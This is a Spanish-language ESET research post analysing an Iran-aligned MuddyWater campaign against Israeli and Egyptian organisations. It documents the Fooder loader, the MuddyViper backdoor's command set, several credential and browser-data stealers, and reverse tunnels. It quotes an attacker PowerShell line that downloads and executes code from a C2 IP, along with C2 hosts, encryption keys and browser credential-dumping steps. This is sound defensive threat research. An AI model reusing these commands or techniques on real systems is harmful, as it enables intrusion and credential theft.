Los investigadores de ESET han identificado nuevas actividades de MuddyWater dirigidas principalmente a organizaciones en Israel, con un objetivo confirmado en Egipto. MuddyWater, también conocido como Mango Sandstorm o TA450, es un grupo de ciberespionaje alineado con Irán conocido por su persistente ataque a sectores gubernamentales y de infraestructuras críticas, que a menudo utiliza malware personalizado y herramientas disponibles públicamente. En esta campaña, los atacantes desplegaron un conjunto de herramientas personalizadas no documentadas previamente con el objetivo de mejorar la evasión y persistencia de las defensas. Entre estas herramientas se encuentra un loader Fooder personalizado diseñado para ejecutar MuddyViper, un backdoor C/C++. Varias versiones de Fooder se hacen pasar por el clásico juego Snake, y su lógica interna incluye un delay personalizado inspirado en la mecánica del juego, combinado con el uso frecuente de llamadas a la API Sleep. Estas funciones están diseñadas para introducir retrasos en la ejecución y dificultar el análisis dinámico automatizado. MuddyViper permite a los atacantes recopilar información del sistema, ejecutar archivos y comandos shell, transferir archivos y exfiltrar credenciales de Windows y datos del navegador. La campaña también emplea ladrones de credenciales (CE-Notes y LP-Notes) y herramientas de túnel inverso como go-socks5, recurrente en las operaciones de MuddyWater.

Aunque este es nuestra primera publicación sobre MuddyWater, los investigadores de ESET han estado siguiendo al grupo durante varios años y han documentado sus actividades en múltiples APT Activity Reports. A diferencia de las campañas anteriores de MuddyWater, que solían ser altamente visibles y fáciles de detectar, la que analizamos en esta entrada muestra un enfoque más dirigido, sofisticado y sigiloso.

Puntos clave de esta publicación:
  • Los desarrolladores de MuddyWater adoptaron CNG, la API criptográfica de nueva generación de Windows, algo inusual entre los grupos alineados con Irán y un tanto atípico en el panorama general de las amenazas
  • El grupo también empleó técnicas avanzadas para desplegar MuddyViper, un nuevo backdoor, utilizando un loader denominado Fooder, que lo carga de forma reflexiva en memoria para su ejecución.
  • Presentamos un análisis técnico de las herramientas utilizadas en esta campaña, incluyendo el backdoor MuddyViper, el loader Fooder, los credential stealers CE-Notes y LP-Notes, el browser data stealer Blub y los reverse tunnels implementados con go-socks5.
  • Durante esta campaña, los operadores evitaron deliberadamente las sesiones interactivas manuales en shell (‘hands-on-keyboard’), una técnica tradicionalmente ruidosa caracterizada por comandos propensos a errores

Visión general del grupo MuddyWater

MuddyWater es un grupo de ciberespionaje activo desde al menos 2017, cuyos objetivos principales son entidades en Oriente Medio y Norteamérica. Es uno de los grupos APT alineados con Irán más activos, según el seguimiento de los investigadores de ESET, y se le atribuyen vínculos con el Ministerio de Inteligencia y Seguridad Nacional de Irán

El grupo fue presentado por primera vez públicamente como MuddyWater por Unit 42 en 2017. La descripción de sus actividades coincide con el perfil elaborado por ESET: un enfoque en el ciberespionaje, el uso de documentos maliciosos como archivos adjuntos diseñados para atraer a los usuarios a habilitar macros y eludir controles de seguridad, y un objetivo principal en entidades ubicadas en Oriente Medio

Entre las operaciones más destacadas del pasado se incluyen la Operación Quicksand (2020), una campaña de ciberespionaje dirigida a entidades gubernamentales y organizaciones de telecomunicaciones israelíes, que ejemplifica la evolución del grupo desde tácticas básicas de phishing hacia operaciones más avanzadas y multifase; y una campaña dirigida a grupos y organizaciones políticas en Turquía, que demuestra el enfoque geopolítico del grupo, su capacidad para adaptar tácticas de ingeniería social a contextos locales y su dependencia de malware modular y de una infraestructura C&C flexible

Además de su alta frecuencia de actividad, las operaciones de MuddyWater suelen ser ruidosas. El grupo es conocido por sus ataques persistentes contra los sectores gubernamental, militar, de telecomunicaciones y de infraestructuras críticas, utilizando habitualmente malware personalizado y herramientas de acceso público para obtener acceso, mantener la persistencia y exfiltrar datos confidenciales. Además de atacar a su principal adversario, Israel, el grupo parece centrar sus objetivos en países que mantienen o intentan estrechar lazos diplomáticos con Irán.

ESET ha documentado múltiples campañas atribuidas a MuddyWater que evidencian la evolución del conjunto de herramientas del grupo y su enfoque operativo cambiante. Mientras que las primeras operaciones se caracterizaban por objetivos amplios y técnicas relativamente poco sofisticadas, las campañas más recientes muestran una mayor sofisticación técnica y precisión en la selección de objetivos

En marzo y abril de 2023, MuddyWater atacó a una víctima no identificada en Arabia Saudí desplegando un script por lotes que descargaba un backdoor implementado en PowerShell, utilizado para recuperar y ejecutar cargas útiles adicionales y, posteriormente, borrar del disco la carga inicial.

El grupo llevó a cabo una campaña en enero y febrero de 2025, caracterizada por un solapamiento operativo con Lyceum (un subgrupo de OilRig), analizado en detalle en esta publicación. Este solapamiento sugiere una evolución en el modus operandi de MuddyWater y posibles vínculos operativos entre ambos grupos.

Las herramientas personalizadas del grupo documentadas públicamente incluyen, por ejemplo, los backdoors Bugsleep, Blackout, Small Sieve, Mori y POWERSTATS, así como variantes personalizadas compiladas de herramientas de código abierto como LaZagne y CrackMapExec. Por lo general, las campañas de MuddyWater no suelen incorporar nuevas herramientas, malware o técnicas innovadoras; en cambio, destacan principalmente por la naturaleza de sus objetivos.

Aunque en un principio MuddyWater se enfocaba exclusivamente en el ciberespionaje, su cooperación con Lyceum lo llevó a atacar el sector manufacturero mediante campañas de spearphishing. La operación fue altamente visible y tuvo un impacto operativo limitado.

La campaña descrita en esta publicación representa un avance significativo en su arsenal y en la sofisticación técnica de sus operaciones

Victimología

Como se ha mencionado anteriormente, durante esta campaña MuddyWater se dirigió principalmente a organizaciones en Israel, pero también a una en Egipto. La Tabla 1 muestra la distribución de víctimas por país y sector. La campaña comenzó el 30 de septiembre de 2024 y concluyó el 18 de marzo de 2025.

Tabla 1. Víctimas por país y vertical

Country Vertical
Egypt Technology
Israel Engineering #1
Engineering #2
Engineering #3
Local Government #1
Local Government #2
Manufacturing
Technology
Transportation
Utilities
University #1
University #2
University #3
Unidentified #1
Unidentified #2
Unidentified #3
Unidentified #4
Unidentified #5

Un hecho relevante sobre la víctima del sector de servicios públicos es que también fue comprometida por Lyceum el 11 de febrero de 2025.

Solapamiento y cooperación con Lyceum

A principios de 2025, ESET Research identificó una superposición operativa entre MuddyWater y Lyceum, un subgrupo de OilRig, un actor de ciberespionaje alineado con Irán también conocido como HEXANE o Storm-0133. OilRig está activo al menos desde 2014 y se cree que tiene su sede en Irán. Entre las herramientas atribuidas a Lyceum se incluyen DanBot, Shark, Milan, Marlin, Solar, Mango, OilForceGTX y diversos downloaders que utilizan servicios legítimos en la nube para la comunicación C&C. Lyceum ha tenido como objetivo varias organizaciones israelíes, incluidas entidades gubernamentales nacionales y locales, así como organizaciones del sector sanitario.

Durante la campaña que nos ocupa, MuddyWater llevó a cabo una subcampaña en colaboración con OilRig en enero y febrero de 2025. MuddyWater inició el acceso mediante un correo electrónico de spearphishing que contenía un enlace a un instalador legítimo del software de monitorización y gestión remota (RMM) Syncro. Tras el ataque inicial, los atacantes instalaron una herramienta RMM adicional, PDQ, y desplegaron un loader de Mimikatz personalizado, disfrazado como archivos de certificado con extensión .txt. Según la actividad observada, Lyceum probablemente aprovechó las credenciales obtenidas para acceder y asumir el control de las operaciones de la organización del sector manufacturero objetivo en Israel.

Esta cooperación sugiere que MuddyWater podría estar desempeñando el rol de initial access broker para otros grupos alineados con Irán

Atribución

La victimología, las TTP y las herramientas observadas en esta campaña coinciden con capacidades y herramientas previamente documentadas y atribuidas a MuddyWater. Esta evaluación se basa en el método de acceso inicial y la posterior entrega de herramientas maliciosas, principalmente mediante correos electrónicos de spearphishing que incluyen enlaces para descargar software RMM legítimo.

TTPs

Los operadores de MuddyWater continúan utilizando backdoors basados en scripts desarrollados en PowerShell y Go. Sus objetivos siguen siendo los sectores de telecomunicaciones, gubernamental y petróleo y energía.

El acceso inicial se logra habitualmente mediante correos electrónicos de spearphishing que contienen archivos PDF con enlaces a instaladores de software RMM alojados en servicios gratuitos de intercambio de archivos como OneHub, Egnyte o Mega. Estos enlaces conducen a la descarga de herramientas RMM como Atera, Level, PDQ y SimpleHelp.

Entre las herramientas desplegadas por los operadores de MuddyWater se encuentra también el backdoor VAX-One, denominado así por los productos legítimos que suplanta: Veeam, AnyDesk, Xerox y el servicio de actualización OneDrive.

El uso continuado de este conocido playbook hace que su actividad sea relativamente fácil de detectar y bloquear.

Superposición de herramientas

Identificamos solapamientos de código entre varias de las nuevas herramientas documentadas y aquellas que previamente atribuíamos a MuddyWater:

  • LP-Notes, un nuevo credential stealer, presenta el mismo diseño que CE-Notes, un browser data stealer que anteriormente asociamos a MuddyWater. Durante esta campaña, también observamos un loader de Mimikatz, que comparte el mismo diseño y métodos de ofuscación que CE-Notes
  • Detectamos varias variantes nuevas de los reverse tunnels personalizados go-socks5 de MuddyWater, utilizados por el grupo a lo largo de 2024 y 2025.
  • En dos casos, encontramos los reverse tunnels go-socks5 incrustados en un nuevo loader de MuddyWater, denominado internamente Fooder. En otra docena de casos, este loader se empleó para desplegar la nueva backdoor de MuddyWater, MuddyViper.
  • Curiosamente, MuddyViper y las variantes de los loaders CE-Notes/LP-Notes/Mimikatz utilizan la API CNG (Cryptography Next Generation) para cifrar y descifrar datos, algo que, hasta donde sabemos, es exclusivo de los grupos alineados con Irán. Otro rasgo común entre estas herramientas es que intentan robar credenciales de usuario mostrando un falso cuadro de diálogo de seguridad de Windows.

Conjunto de herramientas

En este blogpost documentamos herramientas personalizadas, desconocidas hasta ahora, utilizadas por MuddyWater:

  • Loader Fooder – un loader recientemente identificado que carga el backdoor MuddyViper en memoria y lo ejecuta. Varias versiones de Fooder se hacen pasar por el clásico juego Snake, de ahí la denominación MuddyViper. Otra característica notable de Fooder es su uso frecuente de una función de retardo personalizada que implementa la lógica central del juego Snake, combinada con llamadas a la APISleep. Estas funciones están diseñadas para introducir retrasos en la ejecución y dificultar el análisis dinámico automatizado.
  • Backdoor MuddyViper – un backdoor C/C++ previamente no documentado que permite a los atacantes recopilar información del sistema, descargar y cargar archivos, ejecutar archivos y comandos shell, y robar credenciales de Windows y datos del navegador.

El resto del conjunto de herramientas documentado en este blogpost incluye:

  • CE-Notes, un browser data stealer,
  • LP-Notes, un credential stealer,
  • Blub, otro browser data stelaer, y
  • varios reverse tunnels implementados con go-socks5.

Loader Fooder

Fooder es un loader C/C++ de 64 bits diseñado para desencriptar y luego cargar reflexivamente la carga útil incrustada (como se ilustra en la Figura 1), siendo MuddyViper la carga útil observada con mayor frecuencia.

Figure 1. Relationships between Fooder and its launcher and payload
Figura 1
Relaciones entre Fooder y su lanzador y carga útil

Fooder parece ser el nombre interno de esta herramienta, basándonos en sus rutas PDB:

  • C:\Users\win\Desktop\Fooder\Debug\Launcher.pdb
  • C:\Users\pc\Desktop\main\My_Project\Fooder\x64\Debug\Launcher.pdb

Aunque solo hemos capturado una muestra, creemos que Fooder es ejecutado por un launcher simple escrita en C. No implementa ofuscación de cadenas, muestra registro verboso en la consola y la ruta PDB se deja intacta:

C:\Users\pc\source\repos\ConsoleApplication7\x64\Release\ConsoleApplication7.pdb

Hemos observado una instancia (SHA-1: 76632910CF67697BF5D7285FAE38BFCF438EC082) del componente que ejecuta Fooder. Desplegado bajo el nombre %USERPROFILE%\Downloads\OsUpdater.exe, el launcher espera un ID de proceso como argumento de línea de comandos. Una vez ejecutado, intenta duplicar el token del proceso especificado mediante la API DuplicateTokenEx y, a continuación, utiliza CreateProcessAsUserA para ejecutar Fooder.

Una vez ejecutado, Fooder descifra el payload incrustado siguiendo estos pasos:

  • El argumento de la línea de comandos(6) se añade a cada byte de una clave hardcoded, que produce la clave de descifrado AES, compartida entre todas las muestras, 6969697820511281801712341067111416133321394945138510872296106446.
  • Se resta un valor codificado(5) de cada byte del payload cifrado.
  • Por último, el payload se descifra utilizando la API WinCrypt y la clave AES.

A continuación, Fooder carga el payload directamente en memoria mediante técnicas reflexivas, lo que permite su ejecución sin depender de llamadas estándar del sistema ni escribir en disco.

Una vez lanzado, Fooder se ha utilizado para distribuir no solo MuddyViper, sino también HackBrowserData, una utilidad de código abierto capaz de descifrar y exportar información sensible del navegador, como credenciales y cookies. Fooder también facilita el despliegue de variantes de go-socks5, binarios compilados en Go que funcionan como reverse tunnels, permitiendo a los atacantes eludir cortafuegos y mecanismos de traducción de direcciones de red (NAT). Cabe destacar que MuddyWater ya había utilizado go-socks5 con anterioridad, independientemente de Fooder, lo que indica que sigue confiando en esta herramienta para la comunicación sigilosa en red y la exfiltración de datos.

Nótese que varias versiones de Fooder se hacen pasar por el juego Snake - véanse las cadenas y los mutexes resaltados en la Figura 2 - su payload más frecuentemente incrustado.

Figure 2. Multiple Fooder instances masquerade as the Snake game
Figura 2. Varias instancias de Fooder se hacen pasar por el juego Snake

Otra característica notable de Fooder es su uso frecuente de una función de retardo personalizada que implementa la lógica central del juego Snake, en el que el jugador maniobra el extremo de una línea creciente, a menudo tematizada como una serpiente, para evitar obstáculos y recoger objetos, junto con llamadas a la APISleep. El retraso en la ejecución se consigue imitando la función de retardo basada en bucles, similar a la mecánica del juego Snake, donde cada movimiento está controlado por un bucle que espera un breve intervalo antes de actualizar el estado del juego. Este bucle introduce retrasos en la ejecución que ralentizan el comportamiento del malware, ayudándole a evadir herramientas que monitorizan actividad maliciosa rápida. La Figura 3 muestra los retrasos y el banner de bienvenida del juego Snake que se presenta al usuario en tiempo de ejecución.

Figure 3. Various calls to delay execution are dispersed throughout Fooder’s code
Figura 3. Varias llamadas para retrasar la ejecución están dispersas por el código de Fooder

Fooder no tiene ninguna capacidad de persistencia incorporada. Sin embargo, en los casos en que el payload final de Fooder es el backdoor MuddyViper, este puede configurar la persistencia para el loader mediante una tarea programada o a través de la carpeta Startup.

Backdoor MuddyViper

MuddyViper, un backdoor previamente no documentado escrito en C y C++, permite obtener acceso encubierto y control sobre sistemas comprometidos. Hemos observado MuddyViper únicamente en memoria, cargado por Fooder, lo que podría explicar la ausencia de ofuscación y cifrado de cadenas. Como es típico en MuddyWater, MuddyViper envía mensajes de estado extremadamente verbosos y frecuentes a su servidor C&C durante su ejecución, como los siguientes:

  • [+] Persist: -------------------- Hi, I am alive --------------------
  • [+] Persist: -------------------- Hi, First time --------------------
  • [-] Persist: failed create task !!!!

El backdoor también mantiene una lista extensa de más de 150 nombres de procesos y detalles sobre los respectivos productos para enviar informes detallados sobre las herramientas de seguridad detectadas en el entorno comprometido, aunque la inclusión de estos detalles podría haberse implementado fácilmente en el lado del servidor:

  • [>] Process: aciseagent.exe ~~> (Cisco Umbrella Roaming Security) --> (Security DNS) found!
  • [>] Process: acnamagent.exe ~~> (Absolute Persistence) --> (Asset Management) found!
  • [>] Process: acnamlogonagent.exe ~~> (Absolute Persistence) --> (Asset Management) found!

Este comportamiento genera un tráfico de red considerable.

MuddyViper tiene dos métodos para establecer la persistencia:

  • Su directorio de instalación se puede configurar como una carpeta de inicio de Windows, mediante el establecimiento de los siguientes valores de registro en%APPDATALOCAL%\Microsoft\Windows\PPBCompatCache\ManagerCache

    HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup

    HKCUSoftware\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup

  • Una tarea programada llamada ManageOnDriveUpdater puede lanzar MuddyViper desde la ruta en cada inicio del sistema.

Una tarea programada llamada ManageOnDriveUpdater puede ejecutar MuddyViper desde esa ruta en cada inicio del sistema. MuddyViper soporta 20 comandos backdoor (ver Tabla 2 para detalles), incluyendo notablemente la capacidad de abrir y operar reverse shells, descargar, subir y ejecutar archivos, reportar las herramientas de seguridad en ejecución, robar credenciales de usuario y datos de una variedad de navegadores, configurar su propia persistencia y desinstalarse a sí mismo.

Tabla 2. Comandos del backdoor MuddyViper

ID Arguments Action Response
200 N/A N/A 0, via the GET /adad or GET /aq36 request, to obtain a backdoor command.
207 N/A Decrypts the embedded HackBrowserData tool and reflectively loads it in a new thread. This open-source tool can steal credentials, history, and other information from web browsers.
MuddyViper then compresses the collected data (into a file named CacheDump.zip) and uploads it to the C&C server.
Collected browser data, via the GET /mq65 request.
In case of an error, a custom status message is sent instead.
300 <command_line> Launches a reverse shell using:
 • the provided command line (command ID 300)
 •  C:\windows\system32\cmd.exe (command ID 301)
 •  C:\windows\system32\WindowsPowerShell\v1.0\Powershell.exe (command ID 302)
Then, in a loop, uploads the process output to the C&C server and interprets the server response (see command IDs 350-352) until interrupted.
Process output, via the GET /oi32 request.
In case of an error, a custom status message is sent instead.
301 N/A
302 N/A
350 N/A Must follow command IDs 300-302. Sleeps for a preconfigured amount of time – for the reverse shell loop, the default is one second.
351 Sleep time (in milliseconds) Must follow command IDs 300-302. Configures the sleep time for the reverse shell loop – the default is one second.
352 Input for the reverse shell. Must follow command IDs 300-302. Passes the provided argument to the running reverse shell.
360 N/A Not implemented, likely related to the reverse shell API. A custom error message:
[-] Agent does not have an active pipe
400 Flag. Must follow command ID 401. It confirms that the C&C server has successfully received a part of the exfiltrated local file. Optionally adjusts the sleep before the next upload specified in command ID 401 to 10 seconds. No response, unless this command is issued outside of a pending file upload process, it sends a custom error message:
[-] Agent does not have an DOWNLOAD file
401 Sleep time (in milliseconds), filename. Initiates a file upload operation from the specified local file to the C&C server in chunks, with the specified sleep time between each upload. Contents of the specified file, via a series of GET /dadw requests.
500 Data chunk. Must follow command ID 501. Writes the received data chunk into a previously created and opened local file. A custom error message, if the operation fails.
501 Sleep time (in milliseconds), filename. Downloads a file from the C&C server in chunks into a local file with the specified name. The specified sleep time is used as a delay after downloading each data chunk. Deletes the file if the connection cannot be established after six consecutive attempts. A series of GET /dadwqa requests, to request the file contents.
700 Sleep time (in milliseconds) Configures the sleep time between connection attempts to the specified value (default is 60 seconds). N/A
800 N/A Enumerates running processes, searching for selected security tools from an extensive hardcoded list. For each detected process, sends a report with the following information, populated from that hardcoded table:
[>] Process: <process_name> ~~> (<product_name>) --> (<category>) found!
805 Timeout (in milliseconds) Displays a fake Windows Security dialog (see Figure 4), prompting the user to fill in credentials, which are then exfiltrated to the C&C server. Uses the provided argument as a timeout for the dialog. Collected credentials, via the GET /rq13 request:
[+] creds ~~> Username:<username> ~~> Password:<password>
If not successful, a custom error message is sent instead.
806 N/A Sets up persistence via a scheduled task named ManageOnDriveUpdater. The backdoor copies itself to its installation path, unless it is already running from there. A custom status message, depending on the outcome of the operation.
900 N/A Uninstalls itself. First, clears persistence set via a Windows Startup Folder and then deletes itself.
Note that this action will not clear the persistence via a scheduled task that can be set by the backdoor command ID 806.
A custom status message, depending on the outcome of the operation.
905 N/A Terminates the current backdoor process. N/A
906 N/A Relaunches itself (via the CreateProcessW API) and terminates the current process. A custom status message, depending on the outcome of the operation.
other N/A N/A [-] Agent statusCode I don't have it

Uno de los comandos listados en la Tabla 2, con ID 805, muestra un falso diálogo de Seguridad de Windows en un intento de atraer a la víctima para que rellene sus credenciales de Windows, como se ve en la Figura 4. Una técnica similar es utilizada por el stealer LP-Notes de MuddyWater (ver credential stealer LP-Notes).

Figure 4. Fake Windows Security dialog displayed by MuddyViper (command ID 805)
Figura 4. Falso cuadro de diálogo de seguridad de Windows mostrado por MuddyViper (comando ID 805)

Otro comando, con ID 900, tiene como objetivo eliminar MuddyViper de la máquina comprometida y borrar su persistencia; sin embargo, el comando no elimina todos los rastros del backdoor.

Protocolo de red

Para comunicarse con su servidor de C&C, MuddyViper utiliza peticiones HTTP GET (a través de la API WinHTTP) sobre el puerto 443, con el flag WINHTTP_FLAG_SECURE configurado para utilizar SSL/TLS. Se han observado dos servidores de C&C: processplanet[.]org y 35.175.224[.]64.

Ambas direcciones de comunicación cifran los datos mediante AES-CBC, utilizando la API CNG con la clave (utilizada en todas las muestras) 0608101047106453101617106423101013101012101083109710108585106969 y el IV 0.

En la dirección backdoor → servidor de las comunicaciones:

  • Cada URI de endpoint soportado por el servidor C&C puede ser utilizado por el backdoor para un tipo específico de petición, como solicitar un comando, subir un archivo o enviar un mensaje de estado personalizado.
  • Los datos adicionales para el servidor de C&C se incluyen en el cuerpo de la solicitud HTTP, que es poco convencional para las solicitudes HTTP GET.
  • La cadena User-Agent es A WinHTTP Example Program/1.0, un remanente del código de ejemplo para la API WinHttpOpen.
  • Los tiempos de espera de conexión, envío, recepción y respuesta están fijados en 30 segundos.
  • El tiempo de espera por defecto entre intentos de conexión consecutivos es de 60 segundos. Este valor puede configurarse mediante el comando ID 700.
  • En caso de fallo, los intentos de conexión se reintentan hasta 10 veces.
  • Antes de la encriptación, los datos siempre tienen el formato <nombre_ordenador>/<nombre_usuario>*<datos>.

En el sentido servidor → backdoor de las comunicaciones:

  • El código de estado HTTP determina el ID del comando backdoor.
  • Los argumentos del comando backdoor se incluyen en el cuerpo de la respuesta HTTP.

Robo de datos del navegador CE-Notes

CE-Notes es un browser data stealer que denominamos así por el nombre de archivo - ce-notes.txt - utilizado para almacenar en disco los datos robados. Descubrimos CE-Notes en 2024, cuando observamos que MuddyWater desplegaba versiones EXE y DLL del mismo en el sistema de una organización de Israel.

CE-Notes se descargó con el siguiente comando de PowerShell:

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://206.71.149[.]51:443/57576?filter_relational_operator_2=60169).content | Invoke-Expression

Ambas versiones del browser-data stealer intentan robar y descifrar la clave de encriptación app-bound almacenada en el archivo Local State(%APPDATA%\Local\Google\Chrome\User Data\Local State) de los navegadores Chromium (Chrome, Brave y Edge). El cifrado vinculado a la aplicación se introdujo en la versión 127 de Chrome, que permite a Chrome cifrar los datos vinculados a la identidad de la aplicación. Los ciberdelincuentes y los grupos APT se han dado cuenta y están tratando activamente de burlar el cifrado vinculado a la aplicación para robar claves de sesión. CE-Notes es bastante similar a ChromElevator en GitHub.

Los datos recopilados se cifran mediante AES-CBC utilizando la API CNG con la clave 9262A37DF166AC1D5F582AAC79F54CCB47623BFD9BA001228D284AE13A08F52F y el IV 4103A09887B82FFD56A93BB431805224.

A continuación, los datos cifrados se almacenan en el disco en C:\Users\Public\Downloads\ce-notes.txt para su posterior recuperación (probablemente a través de una herramienta RMM, ya que ni las versiones EXE ni DLL tienen ningún medio de exfiltración del archivo). La principal diferencia entre el EXE y la DLL es la funcionalidad de evasión de máquina virtual añadida a la DLL.

Hemos observado el ladrón de datos de navegador CE-Notes en las siguientes ubicaciones:

  • C:\system2.dll
  • C:\Users\Public\Downloads\system2.dll
  • C:\Intel\system.dll
  • C:\20240926_165509.exe

Robo de credenciales LP-Notes

LP-Notes es un credential stealer C/C++ para Windows con el mismo diseño que el browser data stealer CE-Notes. Siguiendo la misma convención de nomenclatura que en el caso de CE-Notes, hemos denominado al stealer LP-Notes en función del archivo local que utiliza para almacenar las credenciales robadas antes de la exfiltración:C:\Users\Public\Downloads\lp-notes.txt(;(frente a;C:\Users\Public\Downloads\ce-notes.txt).El único propósito de LP-Notes es inducir a las víctimas a enviar sus credenciales mostrando un falso cuadro de diálogo de seguridad de Windows que solicita el nombre de usuario y la contraseña. Hemos observado un caso de LP-Notes descargado y ejecutado mediante PowerShell con una línea de comandos muy similar a la mostrada en la sección CE-Notes.

LP-Notes es un ladrón de credenciales C/C++ para Windows con el mismo diseño que el ladrón de datos de navegador CE-Notes. Siguiendo la misma convención de nomenclatura que en el caso de CE-Notes, hemos denominado al ladrón LP-Notes en función del archivo local que utiliza para almacenar las credenciales robadas antes de la filtración: C:\Users\Public\Downloads\lp-notes .txt (frente a C:\Users\Public\Downloads\ce-notes.txt). El único propósito de LP-Notes es atraer a las víctimas para que envíen sus credenciales mostrando un falso cuadro de diálogo de seguridad de Windows, que les pide que introduzcan su nombre de usuario y contraseña de Windows. Hemos observado un caso de LP-Notes descargado y ejecutado por PowerShell con una línea de comandos muy similar a la mostrada en la sección CE-Notes.

Inicialización

Al ejecutarse, LP-Notes comienza buscando un proceso llamado taskhostw.exe (Host Process for Windows Tasks) y suplantando el contexto de seguridad del proceso (a través de la API ImpersonateLoggedOnUser ); sólo entonces LP-Notes activa su carga maliciosa.

LP-Notes emplea varias técnicas sencillas de ofuscación, incluida una rutina personalizada basada en sumas para el descifrado de cadenas. La Figura 5 muestra la función que descifra cadenas de longitudes comprendidas entre 15 y 19 caracteres, aunque la clave de descifrado es siempre la misma: un conjunto de constantes predefinidas que se suman o restan a cada byte de la cadena. Curiosamente, CE-Notes utiliza la misma rutina de descifrado, excepto por una clave diferente, como se muestra en la Figura 6.

Figure 5. LP-Notes string decryption routine
Figura 5.Rutina de descifrado de cadenas LP-Notes
Figure 6. CE-Notes string decryption routine, similar to that of LP-Notes
Figura 6.Rutina de descifrado de cadenas de CE-Notes, similar a la de LP-Notes

LP-Notes utiliza el apilamiento de cadenas para aquellas con menos de 15 o más de 19 caracteres, incluyendo la clave de descifrado, el IV y los nombres de importación. Por último, para ocultar el uso de las funciones de la API de Windows y dificultar el análisis estático, LP-Notes resuelve dinámicamente las funciones de la API durante la inicialización del tiempo de ejecución de C, antes de la ejecución de la funciónWinMain, el punto de entrada estándar para una aplicación gráfica basada en Windows según Microsoft, ocultando así las referencias directas a las funciones de la API en el pseudocódigo (ver Figura 7).

Figure 7. LP-Notes WinMain function with obfuscated import names vs deobfuscated view
Figura 7. Función WinMainde LP-Notes con nombres de importación ofuscados (izquierda) frente a la vista desofuscada (derecha)

Capacidades

En un bucle infinito, LP-Notes muestra un falso cuadro de diálogo de seguridad de Windows que solicita a la víctima introducir su nombre de usuario y contraseña, como se muestra en la Figura 8 (a través de la APICredUIPromptForWindowsCredentialsW ).Cabe destacar que, aunque similar, no es idéntico al cuadro de credenciales falso utilizado por MuddyViper (ver Figura 4). LP-Notes confirma inmediatamente la validez de cualquier credencial enviada intentando iniciar sesión como ese usuario mediante las APICredUnPackAuthenticationBufferWyLogonUserW).

Figure 8. A fake Windows Security dialog displayed by LP-Notes
Figura 8. Diálogo de seguridad de Windows falso mostrado por LP-Notes

Si tiene éxito, las credenciales recogidas se cifran mediante AES-CBC utilizando la API CNG con la clave ED15C8344B45DAED1E0578F8BC1A32411812C61F4CB45D89B107287DE0E09FFC y el IV 91A4E6F6D51DAEE773A8F00279792578.

Al igual que CE-Notes, LP-Notes almacena las credenciales cifradas en un archivo local, en este caso C:\Users\Public\Downloads\lp-notes.txt. Como ninguno de estos componentes tiene la capacidad de filtrar datos, otro componente presumiblemente se encarga de esto (ya sea una herramienta RMM o MuddyViper).

Robo de datos del navegador Blub

Blub es un browser data stealer en C/C++ que incorpora una librería SQLite enlazada estáticamente. El nombre se deriva de su archivo ejecutable,Blub.exe. Observamos la ruta PDB C:\sers\jojo\source\repos\stealer\x64\Release\stealer.pdb. Roba credenciales de inicio de sesión de los navegadores Google Chrome, Microsoft Edge, Mozilla Firefox y Opera.

Navegadores basados en Chromium

En el caso de Chrome, Blub primero termina el proceso chrome.exe (si se está ejecutando) y luego analiza y descifra la clave de cifrado ubicada enC:\Users\<username>\AppData\Local\Google\Chrome\User Data\Local State.Esta clave se utiliza para cifrar datos sensibles almacenados por Chrome, como contraseñas y cookies, y está protegida por la API DPAPI para que solo pueda descifrarse en el sistema donde se cifró originalmente. Blub descifra esta clave mediante la API CryptUnprotectData y luego la utiliza para descifrar las credenciales obtenidas de todos los perfiles de usuario de Chrome presentes en el equipo comprometido. Las credenciales, almacenadas en C:\Users\<username>\AppData\Local\Google\Chrome\User Data\<profile_name>\Login Data,se obtienen mediante la siguiente consulta SQL:

SELECT origin_url, username_value, password_value FROM logins

Una serie similar de pasos se utiliza para obtener y descifrar las credenciales de usuario de los perfiles de usuario de Microsoft Edge y Opera, utilizando la clave obtenida de C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\Local State y C:\Users\<username>\AppData\Roaming\Opera Software\Opera Stable\Local State, respectivamente.

Firefox

Por último, para descifrar las credenciales de usuario almacenadas para Mozilla Firefox, Blub analiza los valores hostname, encryptedUsername y encryptedPassword del archivo logins.json en el directorio de perfil de cada usuario, es decir, %APPDATAROAMING%\Mozilla\Firefox\Profiles\<profile_name>\. A continuación, las credenciales se descifran utilizando la función PK11SDR_Decrypt de la biblioteca nss3.dll utilizada por Firefox.

Los datos recogidos se almacenan en un archivo local llamado file.txt, sin cifrar. Los mismos datos se registran en la consola, sin cifrar, junto con mensajes de estado detallados. Blub no tiene capacidad para filtrar este archivo.

Tenga en cuenta que Blub comprueba si se están ejecutando procesos asociados a soluciones de seguridad antes de ejecutar su carga maliciosa, centrándose en la combinación de procesos afwServ.exe (cortafuegos de Avast) y AvastSvc.exe (antivirus de Avast). Si se detecta afwServ.exe en ejecución (pero no AvastSvc.exe), Blub concluye que se está ejecutando Norton (que ahora utiliza el motor de Avast) en el host comprometido, y sale. Si se detecta AvastSvc.exe (Avast), Blub continúa con la ejecución, excepto que se salta el robo de credenciales de Microsoft Edge.

Mientras que las cadenas de Blub se almacenan en texto claro, se utiliza una sencilla técnica de ofuscación para las cadenas asociadas a la funcionalidad de robo de datos de Google Chrome. En concreto, se concatenan varias cadenas en una larga, con 16 caracteres aleatorios entre ellas, aparentemente para ocultarlas durante el análisis estático:

gdGlog}o{eRwjpw&"encrypted_key":FAe[{hy|b-vcJvxGImpersonateLoggeh}gdOvlgt_NxuoolOpenProcessTokenVLUKKW'xxqjpwe}uDuplicateTokenExs5&}vl{tiplh|io|eIpuvvkdXznx(Gh}n2(sh|y⌂ryme~ds~

Eliminar los caracteres basura y dividir las cadenas devuelve:

  • "encrypted_key":
  • ImpersonateLogge
  • OpenProcessToken
  • DuplicateTokenEx

Reverse tunnles go-socks5

Los reverse tunnles go-socks5 de MuddyWater son una colección de herramientas compiladas en Go, basadas en bibliotecas disponibles públicamente como go-socks5, yamux y resocks; se han utilizado con frecuencia en las recientes campañas de MuddyWater.

La mayoría de las variantes que analizamos parecen llamarse internamente ESETGO (sin relación con ESET), según las cadenas de configuración de compilación que se muestran en la Figura 9 y en otros artefactos.

path  ESETGO
mod   ESETGO	(devel)
dep   github.com/armon/go-socks5	v0.0.0-20160902184237-e75332964ef5h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
